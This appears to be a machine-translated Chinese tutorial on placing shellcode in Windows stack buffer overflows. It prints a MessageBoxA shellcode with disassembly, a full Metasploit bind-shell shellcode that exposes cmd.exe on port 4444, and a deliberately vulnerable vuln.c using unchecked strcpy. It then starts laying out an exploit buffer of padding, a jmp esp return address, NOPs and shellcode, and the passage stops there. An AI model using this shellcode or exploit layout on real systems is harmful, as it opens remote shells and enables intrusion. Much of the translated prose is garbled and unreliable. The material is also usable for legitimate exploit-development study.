Shellcode 地点和 Windows 内的缓冲区溢出
[ By C.Z.Y ]
0x00 ==]前言
0x01 ==]Shellcodes
0x02 ==]vuln.c
0x03 ==]第一种方法
0x04 ==]第二种方法
0x05 ==]第三种方法
0x06 ==]结论
0x07 ==]问候
[<*>] 0x00 前言 [<*>]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
这里讨论基本的缓冲区溢出。有许多出版物关于此主题,因此它不任何意义来形容它。如果
您是 FAMILAR 利用缓冲区溢出的 Windows 平台,并不认为这没有任何向你提供。这表明一
些有趣的方法,可写作过程中使用的一个漏洞(例如:Shellcode 堆栈非可执行文件)。基本
知识是 x86 处理器,汇编和 C 语言以及缓冲区溢出利用是必需的。
能够溢出的缓冲区的堆栈,使我们完全控制在 EIP 寄存器的 x86 处理器。我们可以载入此寄
存器的每一个地址,然后一个脆弱的力量计划跳转并执行代码,确切的说是地址。
发生问题时,我们要执行的代码,实际上是在存储器内。为 了实现它,我们必须把我们的代
码在内存的进程中,我们正在攻击。此代码被称为 Shellcode,对于处理器它有一组指示,
另外编码是十六进制。
本文我将讨论三个可能的地点的存储器,在那里我们可以把 shellcode 比较,如何迫使脆弱
的应用来执行它。在本教程,我们将使用两个 shellcode,不同的大小。
首先,我写的:
1. 装载 user32.dll 库处理存储器
2. 调用 MessageBoxA
3. 调用 ExitProcess(0) 终止进程
第二,产生 Metasploit 框架。它结合 Windows shell(cmd.exe)端口 4444。
三种方法(可能在内存中的位置)我将描述如下:
1. 在堆栈上,在缓冲区打破堆栈之后(所谓背后返回地址)。
2. 在缓冲区中,缓冲区溢出的堆栈
3. 在 TEB 块
[<*>] 0x01 Shellcode [<*>]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
1. >>第一个 shellcode (64 字节)<<
char shellcode[]=
"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x5B\x33\xC9\x83\xC3"
"\x35\x88\x0B\x83\xEB\x06\x53\xB8\xCF\x05\x35\x79\xFF\xD0"
"\x33\xC9\x51\x53\x53\x51\x05\x11\x11\x11\x11\x2D\x79\x90"
"\x0E\x11\xFF\xD0\x33\xC9\x51\xB8\x1A\xE0\x34\x79\xFF\xD0"
"\x75\x73\x65\x72\x33\x32\x61";
In details:
00401B7C EB 02 JMP SHORT vuln.00401B80
00401B7E EB 05 JMP SHORT vuln.00401B85
00401B80 E8 F9FFFFFF CALL vuln.00401B7E
00401B85 5B POP EBX
00401B86 33C9 XOR ECX,ECX
00401B88 83C3 35 ADD EBX,35
00401B8B 880B MOV BYTE PTR DS:[EBX],CL
00401B8D 83EB 06 SUB EBX,6
00401B90 53 PUSH EBX
00401B91 B8 CF053579 MOV EAX,KERNEL32.LoadLibraryA // 检查地址
LoadLibraryA
00401B96 FFD0 CALL EAX
00401B98 33C9 XOR ECX,ECX
00401B9A 51 PUSH ECX
00401B9B 53 PUSH EBX
00401B9C 53 PUSH EBX
00401B9D 51 PUSH ECX
00401B9E 05 11111111 ADD EAX,11111111
00401BA3 2D 79900E11 SUB EAX,110E9079
00401BA8 FFD0 CALL EAX //这儿,EAX应该是一个地址
00401BAA 33C9 XOR ECX,ECX //MessageBoxA 函数
00401BAC 51 PUSH ECX
00401BAD B8 1AE03479 MOV EAX,KERNEL32.ExitProcess //地址 ExitProcess
00401BB2 FFD0 CALL EAX
00401BB4 75 73 JNZ SHORT vuln.00401C29
00401BB6 65:72 33 JB SHORT vuln.00401BEC
00401BB9 3261 XOR AL,BYTE PTR DS:[EAX]
如果您是使用其他 Windows 平台,则应该更改地址 LoadLibraryA,MessageBoxA 和 ExitProcess
在 kernel32 和 User32 上是件好事情。这个简单的代码只需调用 MessageBoxA 然后终止该进
程。
2. >>第二个 shellcode(399 字节):
// win32_bind - 编 码 Shellcode [\x00\x0a\x09] [ EXITFUNC=seh LPORT=4444 Size=399 ]
http://metasploit.com/
unsigned char shellcode[] =
"\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\x4f\x85"
"\x2f\x98\x83\xeb\xfc\xe2\xf4\xb3\x6d\x79\x98\x4f\x85\x7c\xcd\x19"
"\xd2\xa4\xf4\x6b\x9d\xa4\xdd\x73\x0e\x7b\x9d\x37\x84\xc5\x13\x05"
"\x9d\xa4\xc2\x6f\x84\xc4\x7b\x7d\xcc\xa4\xac\xc4\x84\xc1\xa9\xb0"
"\x79\x1e\x58\xe3\xbd\xcf\xec\x48\x44\xe0\x95\x4e\x42\xc4\x6a\x74"
"\xf9\x0b\x8c\x3a\x64\xa4\xc2\x6b\x84\xc4\xfe\xc4\x89\x64\x13\x15"
"\x99\x2e\x73\xc4\x81\xa4\x99\xa7\x6e\x2d\xa9\x8f\xda\x71\xc5\x14"
"\x47\x27\x98\x11\xef\x1f\xc1\x2b\x0e\x36\x13\x14\x89\xa4\xc3\x53"
"\x0e\x34\x13\x14\x8d\x7c\xf0\xc1\xcb\x21\x74\xb0\x53\xa6\x5f\xce"
"\x69\x2f\x99\x4f\x85\x78\xce\x1c\x0c\xca\x70\x68\x85\x2f\x98\xdf"
"\x84\x2f\x98\xf9\x9c\x37\x7f\xeb\x9c\x5f\x71\xaa\xcc\xa9\xd1\xeb"
"\x9f\x5f\x5f\xeb\x28\x01\x71\x96\x8c\xda\x35\x84\x68\xd3\xa3\x18"
"\xd6\x1d\xc7\x7c\xb7\x2f\xc3\xc2\xce\x0f\xc9\xb0\x52\xa6\x47\xc6"
"\x46\xa2\xed\x5b\xef\x28\xc1\x1e\xd6\xd0\xac\xc0\x7a\x7a\x9c\x16"
"\x0c\x2b\x16\xad\x77\x04\xbf\x1b\x7a\x18\x67\x1a\xb5\x1e\x58\x1f"
"\xd5\x7f\xc8\x0f\xd5\x6f\xc8\xb0\xd0\x03\x11\x88\xb4\xf4\xcb\x1c"
"\xed\x2d\x98\x5e\xd9\xa6\x78\x25\x95\x7f\xcf\xb0\xd0\x0b\xcb\x18"
"\x7a\x7a\xb0\x1c\xd1\x78\x67\x1a\xa5\xa6\x5f\x27\xc6\x62\xdc\x4f"
"\x0c\xcc\x1f\xb5\xb4\xef\x15\x33\xa1\x83\xf2\x5a\xdc\xdc\x33\xc8"
"\x7f\xac\x74\x1b\x43\x6b\xbc\x5f\xc1\x49\x5f\x0b\xa1\x13\x99\x4e"
"\x0c\x53\xbc\x07\x0c\x53\xbc\x03\x0c\x53\xbc\x1f\x08\x6b\xbc\x5f"
"\xd1\x7f\xc9\x1e\xd4\x6e\xc9\x06\xd4\x7e\xcb\x1e\x7a\x5a\x98\x27"
"\xf7\xd1\x2b\x59\x7a\x7a\x9c\xb0\x55\xa6\x7e\xb0\xf0\x2f\xf0\xe2"
"\x5c\x2a\x56\xb0\xd0\x2b\x11\x8c\xef\xd0\x67\x79\x7a\xfc\x67\x3a"
"\x85\x47\x68\xc5\x81\x70\x67\x1a\x81\x1e\x43\x1c\x7a\xff\x98";
[<*>] 0x02 vuln.c [<*>]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
下面是一个代码 vuln.c 程序,我们将攻击采用三种方法:
---------------------vuln.c------------------------
#include <stdio.h>
#include <stdlib.h>
int foo(char *);
int main(int argc, char *argv[])
{
if(argc != 2)
return printf("Supply an argument, dude\n");
foo(argv[1]);
return 0;
}
int foo(char *input)
{
unsigned char buffer[600]="";
printf("%.8X\n", &buffer);
strcpy(buffer, input);
return 0;
}
--------------------vuln.c------------------------
正如你所看到的,那儿很可能(foo()函数)对堆栈造成缓冲区溢出。strcpy()函数不检查“消
息源”的数据长度。
NOTE1:
==============================================================================
为了使我们觉得非常简单,让我们假设 602 字节的最大尺寸的数据不覆盖返回地址栈
==============================================================================
[<*>] 0x03 第一种方法 [<*>]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
这可能是最流行、最简单的方法了。我们填补整个缓冲区(602 字节)与“块”,返回地址
我们覆盖的跳转(调用 JMP), 然后我们把我们的 shellcode。缓冲区,其中利用 vuln.c 程序
看起来像:
[620 字节的块][jmp esp, 调用 esp][一些 NOP][shellcode]
我们认为,ESP 寄存器指向我们的 shellcode 溢出